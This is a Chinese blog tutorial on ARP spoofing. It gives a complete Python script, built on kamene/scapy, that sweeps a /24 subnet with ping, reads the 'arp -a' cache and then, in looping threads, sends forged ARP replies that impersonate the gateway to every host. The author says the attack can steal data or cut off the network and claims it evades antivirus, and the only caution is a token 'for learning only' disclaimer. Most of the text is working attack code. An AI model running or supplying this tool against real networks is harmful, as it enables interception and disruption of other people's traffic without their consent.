python对局域网所有人进行arp攻击

python使用ARP进行同一局域网所有人进行攻击**
攻击原理
arp作为一个底层协议,我们使用他进行攻击可以避免任何杀毒软件,最关键的就是这种攻击方式简单,并且对局域网造成的伤害也是极高,可以盗取数据,断网,等等。
他的攻击原理无非就是冒充欺骗,我们在同一个局域网下面,通信并不是使用ip地址,而是mac地址,也就是说,我们知道对方的mac地址就可以进行通信,最关键的是在底层协议里面,mac地址会在你最近的通信联系过的人进行保存,看他保存的信息很简单 arp -a 就这么一条简单的命令就可以看到他的mac缓存地址了,如果我要让他们之间互相进行联系我们可以通过ping命令,ping命令可以进行简单的发包,你和他ping通了,那么他的ip和mac地址就会在你的arp缓存地址里面,当然这个攻击虽然NB,但是只对局域网有效。

实验图
这是我的arp目前的缓存地址,因为是手机开的热点,并且就我一个人连接,所以就不去ping了
python对局域网所有人进行arp攻击_第1张图片
攻击需要使用的包

  1. socket socket这个包给我提供了基本的发包和套接字
  2. kamene 这个包其实就是scapy,网上关于kamena这个包的关于信息很少,但是使用方法和scapy包一样
  3. threading 这个包是python自带的一个包,因为我们要对全局域网发起攻击,多线程是必须要有的。
  4. 以上是我们攻击需要用到的python模块

伪造一个arp攻击的包去冒充网关,代码如下

from kamene.all import (
    ARP,
    Ether,
    sendp,
    conf,
    srp
)
	# 构建一个以太网的包
        eth = Ether()
        #hacker_mac_address 在这里代表的是黑客的mac地址
        #因为我们是去冒充网关,所以这个ip地址是我们的网关地址
        #enemy_mac_address 是我们需要对其进行攻击的一个mac地址
        # enemy_ip_address 是沃恩需要对其攻击的ip地址
        arp = ARP(
            op="is-at",
            hwsrc=hacker_mac_address,
            psrc=hacker_ip_address + ".1",
            hwdst=enemy_mac_address,
            pdst=enemy_ip_address,
        )
        #发送包,一秒1次
        sendp(eth / arp, inter=2, loop=1)
        (eth / arp).show()

以上代码,我们就实现了伪造一个包,发给受害者,让他的网关的mac地址指向你,网关是你那么就代表,他所有发送的请求包,都会发到你这里来。

实现对全网段进行攻击
如果对一个网段进行攻击,其实很好理解,他们就是一个对象,并且用多线程执行就可以,废话不多说,直接上代码
1.采集数据

我们要是对全局域网发起攻击,第一步就是采集信息了,这里我们把采集的信息用重定向命令保存到一个文本里面,代码可以看到,我们写了一个位置参数,这样可以让我们随意修改网段进行扫描,最后进行扫描后的数据进行保存,因为我们要快速的对这些地址进行发包,所以我们写了一个类,让他继承多线程的类,我们在get_IP_mac这个函数去执行循环的时候创建对象,并且让他们进行发包,ping -c 1代表的是只发包一次,self.ip_address这里是创建对象的时候传入的一个ip地址

class Ping(threading.Thread):
    def __init__(self, ip):
        super().__init__()
        self.ip_address = ip

    def run(self):
        os.system('ping -c 1 ' + self.ip_address)

def get_ip_mac_text(ip):
    print("\033[0;31;38m已开启自动扫描,为了让攻击变得更加强力,预计1--3分钟内完成扫描!!")
    for i in range(1, 256):
        s = Ping(ip + "." + str(i))
        s.start()
    else:
        # set timeout 30 m ---- wait arp data
        time.sleep(30)
        os.system('arp -a>./mac_地址.txt')
        print("\033[0;34;38m已完成扫描---准备开始分配线程,进行攻击")

通过代码我们采集后的数据格式
python对局域网所有人进行arp攻击_第2张图片
2.对数据进行分割
数据采集完了,但是看上图,数据完全不符合我们需要提交的ip和mac地址,所以在这里,我们需要把这些内容取出来

其实下面代码没什么好介绍的就是用到了普通的文件打开命令,和字符串下标查找和切片,在外面定义了一个列表,因为列表可以保存任何数据的内容,所以在这里,我们定义了一个info,这里是一个空字典,每次循环都会空,经过好几次判断最后把字典写入进去,这一段就是python基础

def get_ip_mac():
    #  all user data save position ,type = list
    ip_mac = []
    with open("mac_地址.txt", "r", encoding="utf-8") as f:
        for i in range(256):
            info = {}
            content = f.readline()
            if content != "":
                # get client text index number----gain ip address
                index_one = content.find("(")
                index_two = content.find(")")
                index_three = content.find("<")
                # get client text index number----gain mac address
                index_four = content.find("位于 ")
                index_five = content.find(" [ether]")
                if index_three == -1:
                    info["ip"] = content[index_one + 1:index_two]
                    info["mac"] = content[index_four + 3:index_five]

                    ip_mac.append(info)
            else:
                # if text content is null,break code
                break
        print("\033[0;29;38m扫描完成,3秒后开始执行攻击,扫描信息已保存运行目录。")
        time.sleep(3)

3.获取我们本机的mac地址

这里就是通过uuid这包获取ip地址,最后取出mac地址,但是取出来的格式,并不是我们要提交的格式,下面那个循环就是变成我们指定的格式,他取出来是没有任何分割符的,我们提交的是每隔着2为就必须要有一个:号

def get_mac_address():
    node = uuid.getnode()
    mac = uuid.UUID(int=node).hex[-12:]
    i = 1
    x = 2
    mac_date = list(mac)
    while i <= len(mac_date):
        if i // x == 1:
            mac_date.insert(i, ":")
            x += 3
        i += 1
    else:
        mac_date.pop()
    null_text = ""
    ite = null_text.join(mac_date)
    ite = ite.upper()

4.编写攻击的类
这个类其实和我们第一张图片无疑,只不过这个是面向对象的,里面写了一个多线程,在这里就不多做介绍了

class Kill(threading.Thread):
    def __init__(self, hacker_mac, hacker_ip, enemy_mac, enemy_ip):
        """
        # LAN Blasting Only
        :param Hacker_ip: hacker ip address--黑客的ip地址
        :param Hacker_mac: hacker mac physical  address--黑客的mac物理地址
        :param Enemy_ip:IP of the attacked--被攻击者的ip地址
        :param Enemy_mac:Physical MAC address of the attackee--被攻击者的物理mac地址
        """
        super().__init__()
        # init package--初始化包
        self.hacker_ip_address = hacker_ip
        self.hacker_mac_address = hacker_mac
        self.enemy_ip_address = enemy_ip
        self.enemy_mac_address = enemy_mac

    def run(self):
        thread = threading.Thread(target=self.attack)
        thread.start()

    def attack(self):
        eth = Ether()
        arp = ARP(
            op="is-at",
            hwsrc=self.hacker_mac_address,
            psrc=self.hacker_ip_address + ".1",
            hwdst=self.enemy_mac_address,
            pdst=self.enemy_ip_address,
        )
        print("\033[1;31;38m攻击已开启--Attack has been opened---攻击初始化成功")
        time.sleep(1)
        print(
            "\033[0;29;38m目标ip:%s----目标mac:%s----我的mac:%s" % (
                self.enemy_ip_address, self.enemy_ip_address, self.hacker_mac_address))
        (eth / arp).show()
        sendp(eth / arp, inter=2, loop=1)

5.创建攻击对象
我们现在该有的数据都有了,现在只需要把列表里面的字典遍历出来然后传入到,我们执行攻击的类里面就行了,遍历数据就这点,下面,我会传全部代码

                for x in ip_mac:
                    ip = x["ip"]
                    mac = x["mac"]
                    p = Kill(get_mac_address(), ip_address, mac, ip)
                    p.start()
                    time.sleep(0.1)

6.整体代码

from kamene.all import (
    ARP,
    Ether,
    sendp,
    conf,
    srp
)
import threading
import os
import uuid
from socket import gethostbyname, gethostname
import time
import multiprocessing


class Kill(threading.Thread):
    def __init__(self, hacker_mac, hacker_ip, enemy_mac, enemy_ip):
        """
        # LAN Blasting Only
        :param Hacker_ip: hacker ip address--黑客的ip地址
        :param Hacker_mac: hacker mac physical  address--黑客的mac物理地址
        :param Enemy_ip:IP of the attacked--被攻击者的ip地址
        :param Enemy_mac:Physical MAC address of the attackee--被攻击者的物理mac地址
        """
        super().__init__()
        # init package--初始化包
        self.hacker_ip_address = hacker_ip
        self.hacker_mac_address = hacker_mac
        self.enemy_ip_address = enemy_ip
        self.enemy_mac_address = enemy_mac

    def run(self):
        thread = threading.Thread(target=self.attack)
        thread.start()

    def attack(self):
        eth = Ether()
        arp = ARP(
            op="is-at",
            hwsrc=self.hacker_mac_address,
            psrc=self.hacker_ip_address + ".1",
            hwdst=self.enemy_mac_address,
            pdst=self.enemy_ip_address,
        )
        print("\033[1;31;38m攻击已开启--Attack has been opened---攻击初始化成功")
        time.sleep(1)
        print(
            "\033[0;29;38m目标ip:%s----目标mac:%s----我的mac:%s" % (
                self.enemy_ip_address, self.enemy_ip_address, self.hacker_mac_address))
        (eth / arp).show()
        sendp(eth / arp, inter=2, loop=1)

    def copy_right(self):
        return "此工具由沫编写,可用于对同一局域网下的人进行高强度攻击!\n只用于为学习交流,请勿对他人故意造成攻击,损失他人利益" \
               "\n作者QQ:2366626231"


# get host mac address -- 48bit -- 获取自身mac地址,为攻击做铺垫
def get_mac_address():
    node = uuid.getnode()
    mac = uuid.UUID(int=node).hex[-12:]
    i = 1
    x = 2
    mac_date = list(mac)
    while i <= len(mac_date):
        if i // x == 1:
            mac_date.insert(i, ":")
            x += 3
        i += 1
    else:
        mac_date.pop()
    null_text = ""
    ite = null_text.join(mac_date)
    ite = ite.upper()
    return ite


class Ping(threading.Thread):
    def __init__(self, ip):
        super().__init__()
        self.ip_address = ip

    def run(self):
        os.system('ping -c 1 ' + self.ip_address)


def logo():
    print("\033[0;31;38m此工具由沫编写,可用于对同一局域网下的人进行高强度攻击!\n只用于为学习交流,请勿对他人故意造成攻击,损失他人利益\n作者QQ:2366626231"
          "\n\n5秒后程序开始执行")


def get_ip_mac():
    #  all user data save position ,type = list
    ip_mac = []
    with open("mac_地址.txt", "r", encoding="utf-8") as f:
        for i in range(256):
            info = {}
            content = f.readline()
            if content != "":
                # get client text index number----gain ip address
                index_one = content.find("(")
                index_two = content.find(")")
                index_three = content.find("<")
                # get client text index number----gain mac address
                index_four = content.find("位于 ")
                index_five = content.find(" [ether]")
                if index_three == -1:
                    info["ip"] = content[index_one + 1:index_two]
                    info["mac"] = content[index_four + 3:index_five]

                    ip_mac.append(info)
            else:
                # if text content is null,break code
                break
        print("\033[0;29;38m扫描完成,3秒后开始执行攻击,扫描信息已保存运行目录。")
        time.sleep(3)
        return ip_mac


def get_ip_mac_text(ip):
    print("\033[0;31;38m已开启自动扫描,为了让攻击变得更加强力,预计1--3分钟内完成扫描!!")
    for i in range(1, 256):
        s = Ping(ip + "." + str(i))
        s.start()
    else:
        # set timeout 30 m ---- wait arp data
        time.sleep(30)
        os.system('arp -a>./mac_地址.txt')
        print("\033[0;34;38m已完成扫描---准备开始分配线程,进行攻击")
    # start reading
    return get_ip_mac()


def main():
    logo()
    time.sleep(5)
    while True:
        option = input("\033[0;29;38m是否开启自动托管型攻击yes or no:\n")
        is_mult = input("\033[0;29;38m是否对整个网段进行攻击yes or no:\n")
        if option == "yes":
            if is_mult == "yes":
                ip_address = input("\033[0;29;38m请输入这个网段的地址--例如192.168.15:\n")
                ip_mac = get_ip_mac_text(ip_address)
                time.sleep(2)
                for x in ip_mac:
                    ip = x["ip"]
                    mac = x["mac"]
                    p = Kill(get_mac_address(), ip_address, mac, ip)
                    p.start()
                    time.sleep(0.1)
        else:
            print("Error")
    # print("\033[1;34;38m是否开启")
    # make thread object
    #
    # p.start()
    # 无法执行此命令
    # print(get_mac_address())
    # print(host)


if __name__ == '__main__':
    main()

我们看一下代码跑起来的效果
python对局域网所有人进行arp攻击_第3张图片
python对局域网所有人进行arp攻击_第4张图片
python对局域网所有人进行arp攻击_第5张图片
python对局域网所有人进行arp攻击_第6张图片

恩,以上就是对整个局域网发起攻击的代码了,注意的一点是这个代码只能在linux系统上面运行,并且要给sudo权限。。

如果代码逻辑或者讲解有什么问题,请提出宝贵的意见我会改正。

注:本代码完全用于学习,请勿对他人造成利益攻击,如果造成,作者不承担任何法律责任。

你可能感兴趣的:(学生)